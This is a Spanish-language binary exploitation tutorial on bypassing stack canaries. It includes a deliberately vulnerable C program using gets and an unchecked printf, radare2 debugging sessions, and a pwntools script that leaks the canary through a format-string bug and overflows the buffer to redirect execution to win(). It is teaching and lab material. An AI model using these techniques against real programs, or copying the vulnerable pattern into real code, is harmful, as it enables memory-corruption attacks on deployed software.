CANARY BYPASS

CANARY

Canary es una protección contra ataques del tipo "Smash the Stack" que se basa en incluir un número aleatorio justo después de la dirección de retorno. Este número se compara justo antes de ejecutar la instrucción ret. Si coinciden es que no ha habido un buffer overflow.

Si el atacante intenta realizar un Buffer Overflow, el programa lanzará un error ***stack smashing detected ***.

En Linux, los canarios terminan siempre en \x00. Esto es para cerrar cualquier string que nos hubieramos dejado abierta en la ejecución del programa pero también los hace más facilmente identificables.

BYPASSING CANARY

Existen dos formas de bypassear el canario:

Filtración del canario

Este proceso es muy amplio y dependerá del binario que estemos explotando pero la meta es leer el valor del canario.

La opción más sencilla es utilizando una vulnerabilidad de format string, ya que como el canario es una variable local, se encuentra almacenado en el stack y, por tanto, se puede acceder a él.

Código Fuente:

#include <stdio.h>

void vuln() {
    char buffer[64];

    puts("Leak me");
    gets(buffer);

    printf(buffer);
    puts("");

    puts("Overflow me");
    gets(buffer);
}

int main() {
    vuln();
}

void win() {
    puts("You won!");
}c

El código fuente es muy sencillo: da una vulnerabilidad de format string y después da acceso a un buffer overflow.

La vulnerabilidad de format string se puede utilizar para obtener el valor del canario, de tal manera que podemos sobreescribir el valor del canario por ese mismo valor después de haberlo sobreescrito con el buffer overflow.

Todo esto con el objetivo de ejecutar win().

Compilado en 32 bits

Primero comprobamos si efectivamente tiene canario:

$ pwn checksec vuln-32 
[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Ahora tenemos que averiguar el offset del canario. Podemos utilizar para ello radare2.

$ r2 -d -A vuln-32

[0xf7f2e0b0]> db 0x080491d7
[0xf7f2e0b0]> dc
Leak me
%p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
0xffd7cd60  0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e  |...............
0xffd7cd70  0x08048034 0x00000000 0xf7f57000 0x00007025  4........p..%p..
0xffd7cd80  0x00000000 0x00000000 0x08048034 0xf7f02a28  ........4...(*..
0xffd7cd90  0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade  .............:..
0xffd7cda0  0xf7f013fc 0xffffffff 0x00000000 0x080492cb  ................
0xffd7cdb0  0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00  ................

El último valor es el canario. Lo podemos saber por que está más o menos 64 bytes después del inicio del buffer (que tiene 64 bytes) y el canario debe estar cerca del final de buffer. Además, empieza con 00 como y parece bastante aleatorio, no como las direcciones que empiezan siempre por ff o por 7f.

Vamos a comprobarlo utilizando el format string y vemos que es el offset 23.as

./vuln-32

Leak me
%23$p %24$p %25$p
0xa4a50300 0xf7fae080 (nil)

El canario está randomizado y por tanto, será diferente para cada instancia que iniciemos.

Ahora podemos automatizar esta acción con pwntools.

from pwn import *

p = process('./vuln-32')

log.info(p.clean())
p.sendline('%23$p')

canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')
$ python3 exploit.py 
[+] Starting local process './vuln-32': pid 14019
[*] b'Leak me\n'
[+] Canary: 0xcc987300

Ahora solo queda ver cual es la distancia entre el canario y la dirección de retorno.

$ r2 -d -A vuln-32
[0xf7fbb0b0]> db 0x080491d7
[0xf7fbb0b0]> dc
Leak me
%23$p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
[...]
0xffea8af0  0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00

Vemos el canario en 0xffea8afc. Un poco despues, suponemos, el rp está en 0xffea8b0c. Si utilizamos un breakpoint justo después del siguiente gets() podemos ver el offset utilizando una plantilla ciclica:

[0x080491d7]> db 0x0804920f
[0x080491d7]> dc
0xe1f91c00
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
hit breakpoint at: 804920f
[0x0804920f]> pxw @ 0xffea8afc
0xffea8afc  0x41574141 0x41415841 0x5a414159 0x41614141  AAWAAXAAYAAZAAaA
0xffea8b0c  0x41416241 0x64414163 0x41654141 0x41416641  AbAAcAAdAAeAAfAA

Ahora podemos utilizar wop0 (una herramienta de radare2) para averiguar el offset de ambos:

[0x0804920f]> wopO 0x41574141
64
[0x0804920f]> wopO 0x41416241
80

El Return Pointer está 16 bytes por detrás del inicio del canario, o lo que es lo mismo, 12 bytes después del canario. Por tanto:

from pwn import *

p = process('./vuln-32')

log.info(p.clean())
p.sendline('%23$p')

canary = int(p.recvline(), 16)
log.success(f'Canary: {hex(canary)}')

payload = b'A' * 64
payload += p32(canary)  # overwrite canary with original value to not trigger
payload += b'A' * 12    # pad to return pointer
payload += p32(0x08049245)

p.clean()
p.sendline(payload)

print(p.clean().decode('latin-1'))thon

Fuerza Bruta al Canario

Es "posible" en arquitectura de 32 bits pero imposible en 64 bites.

Básicamente consiste en ejecutar el proceso con valores aleatorios para el canario hasta que uno funcione. Esto puede tomar mucho tiempo.

Última actualización